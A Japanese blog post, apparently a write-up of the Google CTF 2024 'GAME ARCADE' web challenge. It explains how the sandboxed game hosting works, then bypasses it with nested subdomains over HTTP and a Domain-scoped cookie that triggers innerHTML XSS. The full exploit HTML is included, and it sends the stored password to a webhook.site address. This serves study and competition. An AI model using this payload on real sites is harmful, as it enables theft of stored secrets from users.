st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Google Capture The Flag 2024 writeup

6/22 - 6/24という日程で開催された。kijitoraで参加して2位。過去2年ともkijitoraというチーム名の案を出した以外にチームに貢献できていなかったので、今年はちょっと難しめの問題を1問解けて嬉しい。

ほかのメンバーのwriteup:

リンク:


[Web 333] GAME ARCADE (14 solves)

Hello Arcane Worrier! Are you ready, to break. the ARCADE. GAME.

Note: The challenge does not require any brute-forcing or content-discovery.

https://game-arcade-web.2024.ctfcompetition.com/

添付ファイル: bot.js

問題の概要

ZIP形式で添付ファイルが与えられているものの、中に含まれているのは bot.js しかない。どうせXSS botのコードだろうし、どういうアプリかも把握していない状態で見ても意味がないだろうから後で見ることにする。

与えられたURLにアクセスすると、次のようにゲームの一覧が表示された。適当なゲームをクリックしてみると、blob URLで新しいウィンドウが開かれた。ドメイン名の部分はゲームごとにユニークらしい。

Password gameというゲームは次の通り。まず上のフォームから適当なパスワードを入力したあと、下のフォームでこのパスワードに対してヒットアンドブローというか、wordleというかという感じのゲームを遊べる。

トップページからは /static/ 下の games.js, util.js, safe-frame.js が読み込まれているほか、次のコードが実行されている。#1 のようにフラグメント識別子から何番目のゲームを開くかを指定できる(たとえば、#1 ではPassword gameが開かれる)らしい。これはページのロード時だけでなく、すでにロードされた後でも hashchange イベントを受けて開いてくれる。ゲームを新たなウィンドウで開くのは previewFile という関数の仕事のようだ。

    const addFileInput = document.querySelector('#addFileInput');
    const filesList = document.querySelector('#filesList');
    const previewModalDiv = document.querySelector('#previewModal');
    const previewIframeDiv = document.querySelector('#previewIframeDiv');
    const safeFrameModal = new bootstrap.Modal(previewModalDiv);

    window.showModal = () => {
      safeFrameModal.show();
    }

    const processHash = async () => {
      safeFrameModal.hide();
      if (location.hash.length <= 1) return;
      const hash = location.hash.slice(1);
      const id = parseInt(hash);
      const fileDiv = document.getElementById(`file-${id}`);
      if (fileDiv === null) return;
      previewIframeDiv.textContent = '';
      await sleep(0);
      if (!GAMES[id]?.html) {
        throw new Error(/couldn't find a game/);
      }
      previewFile(GAMES[id].html, GAMES[id].metadata);
      /* If modal is not shown remove hash */
      setTimeout(() => {
        if (!previewModalDiv.classList.contains('show')) {
          location.hash = '';
        }
      }, 2000);
    }

    window.addEventListener('hashchange', processHash, true);

    window.addEventListener('load', async () => {
      for (let i = 0; i < GAMES.length; i++) {
        appendFileInfo(i)
      }
      processHash();
    });

    previewModalDiv.addEventListener('hide.bs.modal', () => {
      scaleSpan.innerText = '100%';
      location.hash = '';
      previewIframeDiv.textContent = '';
    });

読み込まれていたJSファイルを見ていく。games.js は次のような構造になっている。ゲームのHTMLと名前、それからウィンドウのサイズがメタデータとして含まれているようだ。

window.GAMES = [{
    name: "Password Game",
    metadata: {
      width: 642,
      height: 516,
    },
    html: `<html>
    <head>
      <meta charset=utf-8>

    </body>
  </html>`,
  },];

util.js は次の通り。previewFile の定義がここにあるけれども、結局 safeFrameRender に投げられている。

const sleep = (d) => new Promise((r) => setTimeout(r, d));

async function appendFileInfo(id) {
  const ul = document.querySelector("#filesList");
  const row = document.createElement("a");
  row.className = "list-group-item list-group-item-action";
  row.href = "#" + id;
  row.id = "file-" + id;
  row.innerText = GAMES[id].name;
  ul.appendChild(row);
}

async function previewFile(body, metadata) {
  console.log(metadata);
  await window.safeFrameRender(body, "text/html;charset=utf-8", metadata);
}

safeFrameRendersafe-iframe.js で定義されていた。ファイル名や関数名が示しているように、先ほど games.js 中で定義されていた各ゲームのHTMLを安全に描画するために、(ハッシュ値)-h641507400.scf.usercontent.goog/google-ctf/shim.html 上でそのHTMLを表示する処理を行っている。

このドメイン名に含まれる「ハッシュ値」については、google-ctf, 表示するHTML, オリジンの3要素をもとに計算されている。同じゲームであれば当然常に同じドメイン名になるというわけだ。あわせて、クエリパラメータから元ページのオリジンも与えている。表示するHTMLはどうやって与えているかというと、どうやら postMessage で渡しているようだ。

if (!crypto.subtle) {
  import(
    "https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.11.0/sha256.min.js"
  );
  crypto.subtle = {
    digest: async function (c, body) {
      var hash = sha256.create();
      hash.update(body);
      return hash.arrayBuffer();
    },
  };
}

function arrayToBase36(arr) {
  return arr
    .reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0))
    .toString(36);
}

function concatBuffers(...buffers) {
  let length = 0;
  for (const buf of buffers) {
    length += buf.byteLength;
  }
  const newBuf = new Uint8Array(length);
  let offset = 0;
  for (const buf of buffers) {
    newBuf.set(new Uint8Array(buf), offset);
    offset += buf.byteLength;
  }
  return newBuf.buffer;
}

async function calculateHash(...parts) {
  const encoder = new TextEncoder();
  const newParts = [];
  for (let i = 0; i < parts.length; i++) {
    const part = parts[i];
    if (typeof part === "string") {
      newParts.push(encoder.encode(part).buffer);
    } else {
      newParts.push(part);
    }
    if (i < parts.length - 1) {
      newParts.push(encoder.encode("$@#|").buffer);
    }
  }
  const buffer = concatBuffers(...newParts);
  const hash = await crypto.subtle.digest("SHA-256", buffer);
  return arrayToBase36(new Uint8Array(hash)).padStart(50, "0").slice(0, 50);
}

window.safeFrameRender = async function safeFrameRender(
  body,
  mimeType,
  metadata
) {
  const product = "google-ctf";

  const hash = await calculateHash(product, body, window.origin);
  const url = new URL(
    `https://${hash}-h641507400.scf.usercontent.goog/google-ctf/shim.html`
  );
  url.searchParams.set("origin", window.origin);
  url.searchParams.set("cache", "1");

  const width = metadata?.width || screen.width * 0.8;
  const height = metadata?.height || screen.height * 0.8;
  const left = (screen.width - width) / 2;
  const top = (screen.height - height) / 2;
  const safeWindow = window.open(
    url,
    "_blank",
    `width=${width}, height=${height}, top=${top}, left=${left}`
  );

  const loadedPromise = new Promise((resolve) => {
    const interval = setInterval(() => {
      const messageChannel = new MessageChannel();
      messageChannel.port1.onmessage = () => {
        resolve();
        clearInterval(interval);
      };
      safeWindow.postMessage(1, url.origin, [messageChannel.port2]);
    }, 100);
  });

  loadedPromise.then(() => {
    const messageChannel = new MessageChannel();
    messageChannel.port1.onmessage = (e) => {
      console.log(e.data);
    };
    safeWindow.postMessage(
      { body, mimeType, salt: new TextEncoder().encode(body).buffer },
      url.origin,
      [messageChannel.port2]
    );
  });

  return { safeWindow, safeFrameOrigin: url.origin, loadedPromise };
};

(ハッシュ値)-h641507400.scf.usercontent.goog/google-ctf/shim.html の内容も見てみる。パックされていてちょっと読みづらい。これだけの文字数を費やして何をやっているか*1というと、ドメイン名に含まれるハッシュ値が正しいかどうかを検証している。

shim.html を開いた元のウィンドウからは、ハッシュ値の計算に使われる要素がパスやクエリパラメータ、postMessage で与えられている。もし求まったハッシュ値とドメイン名に含まれるハッシュ値が異なっていれば、与えられたHTMLの描画は行わない。これによってゲームごとに使われるドメイン名を分離し、サンドボックス的な環境を作っているらしい。

さて、bot.js を読んでいこう。重要な部分は以下の通り。まず問題サーバを開き、フラグメント識別子を活用してPassword gameを開く。ゲームで推測する対象のパスワードとしてフラグを入力してから閉じ、そしてユーザから与えられたURLを開くという流れだ。Puppeteerが使われているわけだけれども、わざわざFirefoxが選択されていることにも注目したい。

  const browser = await puppeteer.launch({
    product: "firefox", // npx puppeteer browsers install firefox@stable
    protocol: "webDriverBiDi",
    userDataDir: "/tmp/mozilla-userdata",
  });
// …
      const page = await context.newPage();

      await page.goto(PAGE_URL, { timeout: 2000 });
      const pageStr = await page.evaluate(
        () => document.documentElement.innerHTML
      );

      if (!pageStr.includes("Game Arcade")) {
        const msg =
          "Error: Failed to load challenge page. Please contact admins.";
        console.error(`Page:${pageStr}`);
        sendToPlayer(msg);
        throw new Error(msg);
      }

      sendToPlayer("Adming's playing Guess the Password.");

      await page.waitForSelector("#file-0");
      page.click("#file-1");

      const popup = await context
        .waitForTarget((target) => {
          return target.url().startsWith("blob:");
        })
        .then((e) => e.page());

      await popup.waitForSelector("#guessInp");
      await popup.type("#passwordInp", FLAG);
      await popup.click("#changePwdBtn");
      await sleep(500);

      await popup.close();
      await page.close();
      await sleep(500);

      sendToPlayer(`Visiting ${url}`);
      let playerPage = null;
      setTimeout(() => {
        try {
          sendToPlayer(`Timeout [${playerPage.url()}]`);
          context.close().catch((e) => {
            console.error(e);
          });
          end(socket);
        } catch (err) {
          console.log(`err: ${err}`);
        }
      }, BOT_TIMEOUT);

      try {
        playerPage = await context.newPage();
        playerPage.goto(url).catch((e) => {
          console.error(e);
        });
      } catch (e) {
        console.error(e);
      }

実は、Password gameでは以下のようにCookieとLocal Storageにパスワードが保存されている。これを盗み出せばよいらしい。が、Password gameのオリジンで好きなHTMLを描画させようにも、前述のサンドボックスの仕組みが邪魔してくる。どうすればよいだろうか。

        function savePassword(pwd){
          document.cookie = `password=${pwd}`;
          localStorage.setItem('password', pwd)
          return pwd;
        }

Password gameのXSS?

まずLength Extension Attackを考えたが、ハッシュ値は google-ctf という文字列, HTML, オリジンの順番で結合された文字列を対象に計算されるので、ユーザがコントロールできる位置が微妙で難しい。

Password gameのオリジンで任意のHTMLを描画させる方法を考えていたが、なかなか思いつかない。描画されるHTMLは postMessageshim.html に送信されるわけだけれども、shim.html では送信元のオリジンが検証されており、また送られてきたHTMLについていちいちハッシュ値を計算してドメイン名に含まれるものと比較するという処理になっており、postMessage で悪さはできなそうだ。

悩みに悩んだ挙げ句、実はPassword gameにXSSへ繋げられる脆弱性があり、なんらかの方法でペイロードを流し込めるのではないか、とまずあり得なそうなアイデアが出てきた。違うだろうが一応見ようと確認してみたところ、Password gameのページが開かれた際に、CookieもしくはLocal Storageから読み込んだパスワードをそのまま innerHTML に代入しているとわかった。

Cookieの password にペイロードを仕込むことができればXSSに持ち込めるのではないか。幸いフラグはCookieだけでなくLocal Storageにも保存されているわけだから、Cookieは潰してしまってよい。あり得ないように思っていたが、実はあり得るのではないか*2

        let password = getCookie('password') || localStorage.getItem('password') || "okoń";
        let correctPasswordSpan = document.createElement('span');
        correctPasswordSpan.classList.add('correct');
        correctPasswordSpan.innerHTML = password;
        let steps = 0;

Domain属性をつけつつCookieを設定する

どうやってCookieを書き換えるか。Domain属性を使えるのではないかと考えた。まずCookieを書き換えるためのHTMLを (ハッシュ値)-h641507400.scf.usercontent.goog/google-ctf/shim.html 上で描画させ(これはハッシュ値さえ合わせれば可能だ)、その後でPassword gameを表示させる。この際、Cookieについては domain=scf.usercontent.goog とDomain属性を指定することで、scf.usercontent.goog のサブドメインでも、つまりPassword gameがホストされているドメイン名(0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog)であっても書き換えた後のものが送信されるはずだ。

しかし、試してみてもうまくいかない。もしやと思いPublic Suffix List(PSL)を確認してみたところ、*.usercontent.goog で丸ごとリストに乗っていたscf.usercontent.goog はeTLDであるから、クッキーモンスターバグを防ぐためにこれをDomain属性で指定できないわけだ。

振り出しに戻ったように感じられたが、また別のアイデアを思いつく。https://hoge.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html のようにサブドメインにサブドメインを重ねた場合にはどうなるだろう。アクセスしてみると、TLSの証明書が *.scf.usercontent.goog を対象に発行されているためにその検証には失敗するものの、同じ shim.html が表示された。

shim.html においてドメイン名に含まれるハッシュ値(fileHash)がどう抽出されているか見てみると、正規表現によって、ドメイン名の先頭に存在する ([a-z0-9]{50})-h(\d+) を抜き出しているとわかる。なるほど、(Cookieを書き換えるHTMLのハッシュ値).(Password gameのハッシュ値).scf.usercontent.goog というドメイン名において、domain=(Password gameのハッシュ値).scf.usercontent.goog というDomain属性でCookieを発行するようなHTMLを描画させればよいのではないか。

var L = /^([a-z0-9]{50})-h(\d+)[.]/;
// …
        const d = L.exec(O);
        if (d === null || d[1] === null || d[2] === null)
            throw Error(`Hashed domain '${O}' must match the following regular expression: ${L}`);
        const { fileHash: c, version: e } = { fileHash: d[1], version: d[2] },

解く

けれども、証明書の検証に引っかかってしまうという問題が残っている。どうすればよいかと少し悩み、HTTPSがダメならHTTPはどうかと考えた。試しに http://hoge.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html にアクセスしてみると、HTTPでもアクセス可能であり、またHTTPSへリダイレクトされないことを確認できた。これで準備ができた*3

出来上がったexploitは次の通り。

<body>
<script src="util.js"></script>
<script>
async function main(body, mimeType, metadata) {
  const product = "google-ctf";

  const hash = await calculateHash(product, body, window.origin);
  const url = new URL(
    `http://${hash}-h641507400.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html`
  );
  url.searchParams.set("origin", window.origin);
  url.searchParams.set("cache", "1");

  const safeWindow = window.open(
    url,
    "_blank"
  );

  const loadedPromise = new Promise((resolve) => {
    const interval = setInterval(() => {
      const messageChannel = new MessageChannel();
      messageChannel.port1.onmessage = () => {
        resolve();
        clearInterval(interval);
      };
      safeWindow.postMessage(1, url.origin, [messageChannel.port2]);
    }, 100);
  });

  loadedPromise.then(() => {
    const messageChannel = new MessageChannel();
    messageChannel.port1.onmessage = (e) => {
      console.log(e.data);
    };
    safeWindow.postMessage(
      { body, mimeType, salt: new TextEncoder().encode(body).buffer },
      url.origin,
      [messageChannel.port2]
    );
  });
}

const u = 'https://game-arcade-web.2024.ctfcompetition.com/';
// 2. Cookieの設定が終わったという通知が来たので、Password gameを開いてXSSを発火させる
window.onmessage = e => {
    if (!e.data.iiyo) return;
    const w = window.open(u);
    setTimeout(() => { w.location = u + '#1' }, 1000);
};

// 1. CookieにXSSのペイロードを仕込む
const payload = encodeURIComponent('<img src=x onerror="(new Image).src=[`https://webhook.site/…?`,localStorage.getItem(`password`)]">');
main(`
<script>
// Domain属性でPassword gameがホストされているドメイン名を指定する
document.cookie = 'password=${payload}; domain=0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog';
// Cookieの設定が終わったので、元のウィンドウに知らせる
window.opener.postMessage({iiyo:true}, 'https://attacker.example.com');
<\/script>
`, 'text/html', {width: 400, height: 400});
</script>
</body>

このHTMLを適当なWebサーバでホストし、XSS botに巡回させると、フラグが得られた。

CTF{Bugs_Bugs_Where?_Everywhere!208c92890560773b2fa5b69f69d1a435}

*1:大部分はSHA-256をpure JSで実装しているコードだ。crypto.subtleが利用できない場合にpure JSなSHA-256が使われるわけだけれども、ChromeもFirefoxもcrypto.subtleを当然実装しているし、なぜわざわざそんなことをしているのか疑問に思っていた。後にこの伏線が回収される

*2:ミルク色の異次元

*3:HTTPなのでセキュアコンテキストでしか使えないcrypto.subtleが利用できず、SHA-256のハッシュ値が計算できない! …という事態には陥らない。前述のようにpure JSで実装されたSHA-256が代わりに使われるためだ